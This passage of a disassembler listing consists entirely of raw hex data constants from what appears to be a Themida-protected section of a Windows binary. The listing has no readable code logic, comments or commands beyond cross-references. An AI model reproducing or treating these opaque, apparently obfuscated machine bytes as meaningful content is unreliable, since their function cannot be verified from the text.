		dd 40000000h, 61C2C350h, 8EE85B81h, 0E91F67EBh,	13h, 7AAE3508h
		dd 681188B1h, 1411BC05h, 3EB3E122h, 29808BA3h, 71F65B5h
		dd 59950106h, 0E906071Bh, 0FFFFF787h, 13E9h, 0E9D64300h
		dd 3F58B12Ah, 10D239A2h, 282D7F5Ah, 1B2304B6h, 7E9h, 4834C00h
		dd 9DD0919Eh, 38E804EBh, 0B6E90E84h, 0C4000005h, 0C66D0293h
		dd 0BF66FB9Ah, 0BA61F691h, 0B65DF28Bh, 0C25DF283h, 29BCEFAAh
		dd 25C0ED94h, 1CB7E990h, 15B0E087h, 5745B380h, 4398CBE6h
		dd 2C481A31h, 0B04F7BFCh, 0AEE1680Fh, 0ECFA7D13h, 0F2EF5CFFh
		dd 9F464D37h, 0AA31D86Fh, 39BAED7Ah, 2EC76E09h,	0BE45EC8Dh
		dd 884CF392h, 0DA6D9F48h, 55B09A33h, 80AD56CBh,	0A5C27CE5h
		dd 0B96165A2h, 199ECECFh, 11AA51ECh, 14B55082h,	0BA6D87Fh
		dd 0A9DCF76h, 0FA2CD563h, 4F7C7D67h, 0F1D93EC1h, 0D6E48C3Dh
		dd 0A3599102h, 6809DC49h, 30D56C1h, 6D5BE315h, 49A358FCh
		dd 20917F47h, 6B49A359h, 3868F798h, 0B967FC9Dh,	9C43DE10h
		dd 59AF200Eh, 27FA49A3h, 6B9B9C86h, 0EB5925CCh,	0D349A358h
		dd 0AB2AAC7Ah, 3119AF58h, 52h, 69FC2C95h, 0F28BF6C2h, 166F49A3h
		dd 0C00FC608h, 1CD19AEh, 31000000h, 2BE4A225h, 117A0B3Eh
		dd 59436CDBh, 0EA912C58h, 2983763h, 0A18B2659h,	37D20188h
		dd 0E38CCC90h, 0D56E15B0h, 988690EBh, 15B0E36Ch, 838DF74h
		dd 0FE2ED76Dh, 3D27C067h, 0F92CC436h, 0E3AC168h, 5E17C86Fh
		dd 83B65FD0h, 0D40708F2h, 0D505AC41h, 7800107Ah, 0BD5E8AB6h
		dd 0B74E7E27h, 748D7710h, 7D24BFEDh, 0AC32FCDFh, 19AFB039h
		dd 9BA3h, 6248CB00h, 9A46EA98h,	2514E0CAh, 0F49454A2h
		dd 0B6A09378h, 48EF82B5h, 336937BAh, 2F7CE7DDh,	7B164445h
		dd 961F4DD4h, 832ACB6Ah, 0FC9607F5h, 0EE149A2h,	0CB3527Fh
		dd 0AB6BB548h, 54C24CDFh, 77FA9021h, 0DBD68B70h, 9F326569h
		dd 0DB5D95FEh, 5522ED0Dh, 8ABD646Bh, 943BD609h,	2CB35AFBh
		dd 10816FFDh, 5B49A3DAh, 0A851E788h, 0DAF3DD78h, 9CF593Ch
		dd 19AED5DCh, 4EFEh, 0F92C6200h, 8A33C168h, 0D4D5BF5Eh
		dd 0F8680FA2h, 92C573BDh, 69E669FFh, 0AD07DD44h, 2C9EA58Fh
		dd 0BE65002Ch, 0BB5A8730h, 0F21D8BD1h, 356149A3h, 0CB772BD2h
		dd 0CB6CCE22h, 0D86B9D24h, 0B37DC631h, 0E12F8873h, 0AF66F6DFh
		dd 1E419h, 25480000h, 24B34E7Ch, 20B960F1h, 6C073536h
		dd 0C73826D6h, 1249A3F2h, 0AE3C553Fh, 5D4BD305h, 49A3F1ECh
		dd 1CC36437h, 1B4BABBBh, 0BF60A3AEh, 11A4D4D5h,	77C5F87Bh
		dd 45AFE0A5h, 0A348E657h, 0BD5E3149h, 33BAD3h, 437BE65h
		dd 12B95483h, 0A331D879h, 0A34844B5h, 0F0BC8F49h, 0E053D35Dh
		dd 719F8997h, 689740D6h, 0A38D26CDh, 8B4BD39Ch,	0ED562AF0h
		dd 679A29AAh, 0ED8E27CEh, 84EF6957h, 53FC47A2h,	48E18827h
		dd 0EA91645Eh, 0D24D95Ch, 8D2F41C6h, 0DE72A2A3h, 0F7B04F5Bh
		dd 0D2A68568h, 439BF361h, 24784CBh, 0AC342DECh,	0F5A338D9h
		dd 7A790E72h, 3D27BCE7h, 75B10C3Ch, 4707D525h, 1BE78E2Fh
		dd 439CB4B0h, 832AC3F0h, 8C33CEFCh, 0D757E11Ch,	2C1A245Fh
		dd 158674FCh, 60439CB4h, 0B057EC8Dh, 0B73EE580h, 0D75AF087h
		dd 0CEFDB349h, 95AE982Bh, 331D2BE4h, 0D0CF6403h, 1FB5C505h
		dd 147D7h, 75253B00h, 0A3F21687h, 0F88E6149h, 0A3F2990Ah
		dd 2711E449h, 0A18F7C04h, 49A3F230h, 0F20E7F6Dh, 865949A3h
		dd 0F48A2BFEh, 0A2FA5806h, 0A9502347h, 3865F222h, 0C067FC9Dh
		dd 0A1120090h, 0EC439CE9h, 5FE27819h, 258F5CCFh, 0BD2E1CD0h
		dd 8439CB1h, 91AA9435h,	0F4655303h, 3F439CB0h, 77E8D66Ch
		dd 0C2439CB1h, 0D40405EFh, 30E99A41h, 780838E6h, 9CB1198Ah
		dd 2916443h, 29738D5h, 0B600D203h, 46081Fh, 0A6C0000h
		dd 0BF98F83h, 49A3F2EAh, 3B190487h, 40B50E79h, 0E2895C56h
		dd 0A324A516h, 34BDE949h, 2FC86F02h, 3260E78Eh,	863FF097h
		dd 0FCCD7CB8h, 675BE232h, 4A7821D1h, 5E7FC5AFh,	949A324h
		dd 7D00A136h, 76000000h, 16877525h, 6149A3F2h, 0F981A48Eh
		dd 0F2AD1E0Ch, 25F849A3h, 8E00EE84h, 0D947A2EEh, 0A8D85F06h
		dd 0A1D1780Dh, 0DB935F06h, 6B439CEDh, 9AFBA23Dh, 0CDEEE37Ah
		dd 0B8EA798Fh, 0BD64032Fh, 18DC8324h, 37BBB85h,	0A0D07EC8h
		dd 0D1BF6F05h, 439C0D60h, 0E7EED8ABh, 89E961Eh,	96E8021Ah
		dd 0A5D89941h, 3DC46B0Ch, 68D37A0Dh, 7D05111Fh,	0E901EF85h
		dd 723B8BC1h, 12FC97C9h, 3EB04518h, 0F48A820Ah,	9ECCEE06h
		dd 9FCE7747h, 4F221C06h, 56F121A8h, 4BEA1AC1h, 0D88CD8A4h
		dd 0CF0F4B0Fh, 5AF5FA4Ch, 0D0BAD376h, 4D7DAB75h, 4E7E25BAh
		dd 0FF8210B7h, 0E4D2B19Fh, 3B092773h, 5982EBBEh, 0B1221026h
		dd 0FC3B09D3h, 9D9E8829h, 0A52CD36Eh, 0B239E073h, 0B03EE580h
		dd 9D351C2h, 51C99C3Bh,	990C0816h, 6ACBFAA3h, 1173AAFh
		dd 0A28C2D22h, 1F4FF947h, 0C245F388h, 6DC41F44h, 0BABBA56Fh
		dd 0C344EB8Ah, 8, 4D7C2539h, 19FBCAB4h,	0C36AFB2Ch, 0D2790C3Ch
		dd 0D77E194Bh, 0E38A2350h, 0F198295Ch, 0F79E376Ah, 1A84170h
		dd 0AB14C7Ah, 11B85783h, 0E0895067h, 405h, 42D00h, 4870000h
		dd 2C895C24h, 4EC8324h,	68240C89h, 3C28h, 55240489h, 0B2699BBDh
		dd 9003B91Ah, 0C18120BDh, 47D5615h, 0E981E929h,	47D5615h
		dd 213B685Dh, 24890000h, 24048324h, 0EC815804h,	4
		dd 81240C89h, 7B3D2404h, 408F53EBh, 8688108h, 53EB7B3Dh
		dd 5024048Bh, 405E089h,	83000000h, 48704C0h, 34FF5C24h
		dd 0C4835924h, 5171E904h, 6B9DFFFCh, 3089037Eh
		db 0A7h
byte_57F3D9	db 12h,	0E8h, 0DFh	; DATA XREF: Themida_:0053CEACo
					; Themida_:0053D2CCo ...
		dd 2B92B834h, 0C503060Bh, 6C2BE0FFh, 1EC41658h,	0CECB2969h
		dd 2B81A9Eh, 4D2C2A6Eh,	704D3FAFh, 14146656h, 0BFE5233h
		dd 37447557h, 47C22AC5h, 0C3323B3h, 7183303Eh, 0FF1D7228h
		dd 0AEDE068Bh, 74675D4Ch, 96980FA3h, 0BDBC0857h, 0D73A7B51h
		dd 17B013D3h, 0F9B0675Ch, 5F1609F4h, 0A9124BF0h, 0E213BF1h
		dd 0B44825E4h, 0D8C97205h, 6A600CD2h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0C8FDC352h
		dd 89FE6864h, 70515BDh,	6890F06h, 89000000h, 71DCDBDh
		dd 0FFFEB906h, 0DB81FFFFh, 0F3AC449h, 21A98D21h, 6A0607h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0F50E28C3h, 0F8666E8Eh, 0C418D21h, 6A0607h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0FC016AC3h, 21A98D8Bh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 0DF6D85C3h, 0F5BA0423h
		dd 83435E47h, 850F01E1h, 6, 1921B58Bh, 8D8B0607h, 6070C41h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 93C35646h
		dd 796C5C57h, 7437FF4Dh, 3255B523h, 0E1830607h,	5850F01h
		dd 66000000h, 9A6EE681h, 6A6061h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 0C9EF29C3h, 65BD895Ch
		dd 89060720h, 7049D9Dh,	0FFFEB906h, 6AFFFFh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 0CC3068C3h
		dd 6810FF9h, 89000000h,	70CC185h, 0E58D2106h, 3106071Eh
		dd 70B0D9Dh, 198D2106h,	6A060726h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0ECBEC357h
		dd 0D7D1544Dh, 1EE58D8Bh, 8B0F0607h, 0Eh, 159D2960h, 8B060726h
		dd 71F9995h, 0E1836106h, 6850F01h, 89000000h, 7215585h
		dd 198D8B06h, 83060726h, 850F01E1h, 2Bh, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 17h, 8EC35343h, 89819EF4h
		dd 726159Dh, 0A5BD8906h, 61060721h, 7E96060h, 6D000000h
		dd 4F951C56h, 81662803h, 6178B4F1h, 0FFFFFEB9h,	55006AFFh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 89BD5E51h, 7DD5FB3Ah, 21F56695h, 720618Dh, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0E9E2F02Bh, 9, 0ABE67AC5h, 99C95256h, 0D98D2154h, 6A060709h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0CBF4C353h, 0D4802808h, 14E90Ch, 5BF80000h
		dd 0A8B04251h, 4581E395h, 3572B953h, 0A465D20h,	9D29EB74h
		dd 6072255h, 20618D8Bh,	9D090607h, 60704E9h, 0F01E183h
		dd 2785h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 0D84E62Dh, 9D8BFF43h, 6071B2Dh, 9D98D8Bh
		dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 13CEB8C3h, 0FB8B6643h, 0F01E183h,	985h, 55E08000h
		dd 795BD8Bh, 60610607h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 0FDC35141h, 0E982B719h, 0Dh, 37CCFC59h
		dd 8D6BFA3Bh, 516DCF81h, 8F0F7Ch, 0B9000000h, 0FFFFFFFEh
		dd 2635B529h, 8D210607h, 6072E51h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 38C35747h, 18C0F20h, 0F5000000h
		dd 21F08B66h, 714F18Dh,	53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 0BE742F04h, 0C0BF0FCDh
		dd 28A99D8Bh, 8D8B0607h, 6072E51h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 0B5C35646h,	269AC935h, 8229B83Eh
		dd 5D8D897Fh, 83060703h, 850F01E1h, 0Dh, 24C78060h, 5958Bh
		dd 8B610607h, 0F18D8BF3h, 6A060714h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 3AC9C351h
		dd 0DF58D01h, 0E1830607h, 30850F01h, 6A000000h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0B4C8C351h, 0EE9h, 0FAE7000h, 9E17ADEAh, 0F27B4742h
		dd 61036C3Eh, 53006A60h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 38716508h, 0B5958BB0h, 8B060714h
		dd 70CCD85h, 0D585C706h, 0D0060720h, 6A000007h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0C9A2C356h, 11D1A6C9h, 66601A57h, 8153C3BFh,	3494F9C2h
		dd 0FB8B6151h, 50006A61h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0FDB59FDEh, 0C8C66AC7h
		dd 0CE8h, 66D1D500h, 0F7C10DC2h, 0C75CA0CCh, 0A9B503D3h
		dd 5F060710h, 9D5958Bh,	7EB0607h, 0E99D61h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0E3A4C357h, 7F957C6h, 0F5B74A13h,	0B8B0Fh
		dd 6E90000h, 39000000h,	0FADEE6C7h, 57006A30h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 6074CD75h
		dd 0A3F2F081h, 858B095Ch, 60713EDh, 0C18BFC61h,	57006A60h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 868A5BBBh, 1EA202C0h, 9529F9D1h, 6073255h, 1FED9589h
		dd 0C08B0607h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	7EC35040h, 0CE81666Dh, 0BD83CAD6h, 6071ACDh, 83097500h
		dd 71135BDh, 19740006h,	0C08B5350h, 438B8h, 7D858900h
		dd 8D06071Fh, 9ADC09Dh,	5BD3FF06h, 35BD8358h, 60711h, 53501774h
		dd 438B8h, 7D858900h, 8D06071Fh, 9AAAF9Dh, 5BD3FF06h, 0E7816658h
		dd 6A8410h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 43BDC8C3h, 7A89FD2Fh, 8BCF8B66h, 57006AC0h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 68B0F85h, 81000000h,	1CBDBCC7h, 76FE813h, 0B5330000h
		dd 6071E35h, 0E858589h,	8D8B0607h, 6070319h, 2F0D9529h
		dd 52E80607h, 0B9000007h, 2F957AB5h, 0BE960h, 0ED230000h
		dd 333C200Eh, 3F6DE5D5h, 0CEB70FA1h, 0D1858961h, 6A060705h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 64BCC355h, 3AB8592Ch, 0FC736184h,	708E8h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0EDAD7873h, 0B58589E8h, 56060712h, 2345B50Bh
		dd 0E85F0607h, 6D5h, 8589CF8Bh,	6071171h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Ah, 55C35040h, 9761C03Bh
		dd 60562893h, 0A4E5E2B9h, 1B9661Ch, 33596136h, 70DA18Dh
		dd 693E806h, 6E90000h, 7C000000h, 29D36EE5h, 598589DBh
		dd 0E8060708h, 10h, 122C875Eh, 731E74CFh, 70186DF4h, 7F6D2527h
		dd 2150B956h, 595E5BFDh, 660E8h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 64CE43E6h, 518589E6h, 0F9060713h, 634E8h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 2D359E9h, 8E0Fh, 85890000h, 6072639h, 603E8FCh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 858980C3h, 6071531h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 91C35545h, 0D9700A7Ah, 2D91BD2Bh, 0B6E80607h
		dd 6A000005h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 5203C355h, 83039834h, 1AF58589h
		dd 0FE90607h, 0BE000000h, 4E9AE16Bh, 638A266Eh,	0AB359F5Eh
		dd 85892DBFh, 6070BE9h,	6E8h, 0F255D900h, 6677C908h, 895ECB8Bh
		dd 70ECD9Dh, 55BE806h, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0D89E2DC3h, 4D8589D5h
		dd 6A060712h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 1CC8C356h, 514E8h, 0F18B6600h
		dd 7C58589h, 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 8BEAA5C3h, 38E55E09h, 1DC18589h
		dd 0B58B0607h, 6071ECDh, 4D8E8h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 63BF4144h
		dd 0B5296A3Dh, 6070599h, 2D318589h, 6A0607h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 8AE859C3h
		dd 0E9000004h, 5, 0C13B34F3h, 69858915h, 6A060704h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 6C7C357h, 0E64D16F5h, 9D8911A4h, 60706EDh, 0FE9h, 0BBBE00h
		dd 5CFEDCB7h, 0EBD10045h, 7A079A60h, 438E8h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0EE524D4Ah, 64BA9230h, 1AF5B58Bh, 81660607h,	897FE9E1h
		dd 71E2585h, 53006A06h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 6CE9C0F3h, 3DFE814h, 0B58B0000h
		dd 6072B11h, 0A218589h,	9E90607h, 0DC000000h, 245E66A5h
		dd 0D7F128DEh, 3C0E8h, 6D858900h, 51060721h, 0EE9h, 72CA8E00h
		dd 0CF78F528h, 42F945Ah, 5F44698Ah, 20398589h, 6A0607h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 2A70E5C3h, 8B664E62h, 8900B0F7h, 7051585h, 0D8B60F06h
		dd 0B2AABF66h, 6BAh, 0A19D8900h, 8B060728h, 50006AC3h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 33C453DAh, 8A0Fh, 0E8C10000h, 15B58B04h, 6606070Eh
		dd 0BD8BE2F7h, 6071A59h, 810FD82Bh, 0Ch, 6820Fh, 85290000h
		dd 6071F49h, 0BE565093h, 784BF1C4h, 0CA8B935Fh,	29ED95FFh
		dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 60CCD3C3h, 85B58960h, 0B5060732h,	9D0B6101h
		dd 6072209h, 6A5B61h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 0D9806FC3h, 0C1958D5Eh, 0B5060732h
		dd 0E91A893Ah, 0Eh, 6FA8AA41h, 80E8CDA1h, 0D479C5ADh, 42891CBFh
		dd 56006A04h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 2A806F81h, 434BDC92h, 7E9h, 0F1C4F900h
		dd 1918EC3Bh, 28C1958Dh, 850F0607h, 6, 1B49B58Bh, 1A890607h
		dd 1A458D8Bh, 42890607h, 50006A04h, 3E8h, 0C3582000h, 24448958h
dword_580000	dd 24448104h, 1504h, 0C3504000h, 958D0A04h, 6070745h, 0FE9h
					; DATA XREF: Themida_:0053D074o
					; Themida_:0053D410o ...
		dd 0DB39DD00h, 0EAFEC251h, 8486D6B6h, 0F397C1ADh, 6A1A89h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 442620C3h, 13A58509h, 42890607h, 57006A04h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 4D3DB53h, 8DC9BF0Fh
		dd 703C595h, 55006A06h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 4DA9BA09h, 57E294AFh, 0FE8h, 302E5800h
		dd 342DD352h, 6AD730Dh,	11FD0733h, 0EE9h, 9537D600h, 254A6968h
		dd 0B2705D92h, 5EC7628Dh, 0CF8B1A89h, 6A044289h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 131DC350h, 0E1DC30D8h, 8DDFE9A5h, 71FD595h, 0F98B6606h
		dd 0C6811A89h, 37FEDA87h, 6A044289h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 4EFFC353h
		dd 7FFAE7B9h, 8D7CCD8Dh, 7020195h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0F18B668Dh
		dd 89F08B66h, 442891Ah,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 0DCC35242h, 0F233235Ch, 0A19D3186h, 8D06070Dh
		dd 7140595h, 5E806h, 25850000h,	8B926F83h, 70471B5h, 1A895E06h
		dd 38FABF66h, 6A044289h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0FF7DC351h,	30A050E7h
		dd 188E0Fh, 13E90000h, 66000000h, 0CF555421h, 0AEA7ACF1h
		dd 31EF4114h, 0D7AC01BAh, 958DE35Dh, 6072D15h, 1EB96651h
		dd 1A895FFFh, 89F38B66h, 6A0442h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0B58999C3h, 6070C51h
		dd 0F4E9h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 41D814Bh,	468BA980h, 6A006A18h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 706AC353h, 0C04C0979h, 163BF56h, 6A597BE4h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0DA4B75E4h, 0EDF517h, 0F88BACE9h, 0BD0B006Ah, 60732C9h
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 521152C3h, 0FA5178Ah, 0C5D9529h, 0BD8B0607h
		dd 60712C5h, 7ED95FFh, 6A0607h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 1A4E4EC3h, 55006AC3h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0F98B57DAh, 6AC58A5Eh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 5F84C357h, 0D27F99A2h
		dd 0FB5B3E6h, 1886h, 13E900h, 7A620000h, 145F26FDh, 59123E40h
		dd 0B8B37BB6h, 31A406C4h, 6AC08B41h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0D64C353h
		dd 588DA0A3h, 8B6650ABh, 0CDBD83FEh, 6071Ah, 0BD830975h
		dd 6071135h, 50197400h,	0B8C08B53h, 438h, 2F818589h, 9D8D0607h
		dd 609AE27h, 585BD3FFh,	1135BD83h, 74000607h, 0B8535017h
		dd 438h, 2F818589h, 9D8D0607h, 609AAC8h, 585BD3FFh, 0DFDF8166h
		dd 55006A6Dh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 0B966C4B9h, 8D8B1487h, 6071885h,	858DC08Bh
		dd 60718B1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	32C35545h, 0DBD3405Fh, 90D17753h, 8E850h, 67C60000h
		dd 1BEA1530h, 6CBFDC52h, 5F382AE8h, 6A240489h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 1B09C352h, 3395788Bh, 80A6685Ch, 6A36CFh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 56C35747h, 0C2AAE3E8h
		dd 791D5429h, 3D8589BCh, 6A06070Dh, 9E900h, 0DE540000h
		dd 5DFA7D98h, 8DFC58A8h, 0B3E4C85h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0FB0E9CCh
		dd 686h, 0B1BD2300h, 8B060732h,	72339BDh, 25BD8906h, 83060705h
		dd 0BD8905C0h, 6071391h, 11E9h,	0EC37E700h, 3988E994h
		dd 0CEA69C18h, 80859DF1h, 5090D960h, 12E9h, 96C9D900h
		dd 2F70903Fh, 0FDC6D9A0h, 4658729Ah, 900C1C1Fh,	2311BD8Bh
		dd 6A0607h, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 16h,	12C35646h, 11E9CDE7h, 0F2000000h, 0A8EF8239h, 84F943Ah
		dd 0A8A871Ch, 0B04A92E0h, 96B062BFh, 6A006A30h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0E821C350h, 9, 711A1B32h, 6481A047h,	5FF88AD3h, 1E3D95FFh
		dd 0BD8B0607h, 60707E1h, 8A1B529h, 8D8D0607h, 60A93D5h
		dd 0ADE5CB81h, 0D1FF52CCh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 89C35646h, 8AAA4E1Eh,	0BD83F9D8h, 60719BDh
		dd 44850F01h, 6A000000h, 55006A02h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 308B73C3h, 0F98B90C9h
		dd 0A800F50h, 0E9000000h, 5, 0C6B30956h, 0FFFC90A7h, 7079195h
		dd 919D8B06h, 0E9060706h, 0EA5h, 0E8h, 0ED815D00h, 60B3E56h
		dd 0EE9h, 41F5E300h, 0D014EFFEh, 0EE2E6E86h, 6A7E3EF4h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 3750C350h, 8DC6CDDFh, 0A843F85h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 1A391AD3h, 1173B1C7h, 0EF81DFA1h, 3F4F8948h,	9E850h
		dd 0B6290000h, 0B579440Bh, 66CEAA37h, 895BDE8Bh, 0BF662404h
		dd 0FF647983h, 35h, 25896400h, 0
		dd 4CA8BF66h, 2F5985FFh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 902C4DC3h, 6AD8BF0Fh
		dd 0BD8960FFh, 6070D31h, 6158F557h, 12E9h, 37FCAA00h, 0B8E5DEEBh
		dd 613B94B6h, 0BD884DF8h, 0FF0D0783h, 70E85B5h,	0BE906h
		dd 71E70000h, 376B748Ah, 4ABBB890h, 0BB260CFh, 0FF61CB8Bh
		dd 72B8995h, 11AE906h, 66500000h, 0A5CCF81h, 0E900B05Fh
		dd 5, 0CFABA57Bh, 970E677h, 70C218Dh, 6671E406h, 0B501DF8Bh
		dd 6071F15h, 830F613Ch,	0ECh, 41958B60h, 0E9060702h, 8
		dd 0F22F124Ch, 0F355904Ah, 0C8B60F61h, 6AC2F781h, 6BA679Bh
		dd 0E9000000h, 8, 0C7487FCFh, 0E4B8D3CFh, 8D89C18Bh, 60719C5h
		dd 2035BD29h, 0E8C10607h, 860F6004h, 3,	8BCBB70Fh, 729259Dh
		dd 0F7666106h, 199D8BE2h, 2B060700h, 9E9C8h, 12B10000h
		dd 67DCC02h, 8BEF8683h,	725CDBDh, 0BBD18B06h, 347A9A06h
		dd 6E9h, 0B5EF8100h, 8B537A60h,	732C185h, 61BD8B06h, 8306072Bh
		dd 816607C0h, 83D4DFEFh, 9D8B00C0h, 60722F9h, 830FD03Bh
		dd 0Eh,	11299D89h, 39E90607h, 80000000h, 8D8B85E3h, 60721A9h
		dd 30198529h, 0E1830607h, 21840F01h, 66000000h,	0A583D98Bh
		dd 60721A9h, 74D781FEh,	89115F2Eh, 732C195h, 0ED9D8B06h
		dd 0E9060714h, 0
		dd 0C417B58Dh, 6A060Ah,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0FC2741C3h, 2F999D29h, 0A9BB0607h
		dd 8963BEE1h, 71E85B5h,	6A006A06h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0FF3AC356h
		dd 6547C9Ah, 9E97FB4h, 5B000000h, 0A531400Dh, 0EEBB8CB9h
		dd 1830Fh, 0FFF80000h, 70D6995h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 9D03ECBEh
		dd 6070F95h, 0B9FBB70Fh, 7CAh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 0F5C35343h,	8B9EF62Dh, 712E19Dh
		dd 0DB816606h, 0E1839FF5h, 53006AFCh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0C5503293h
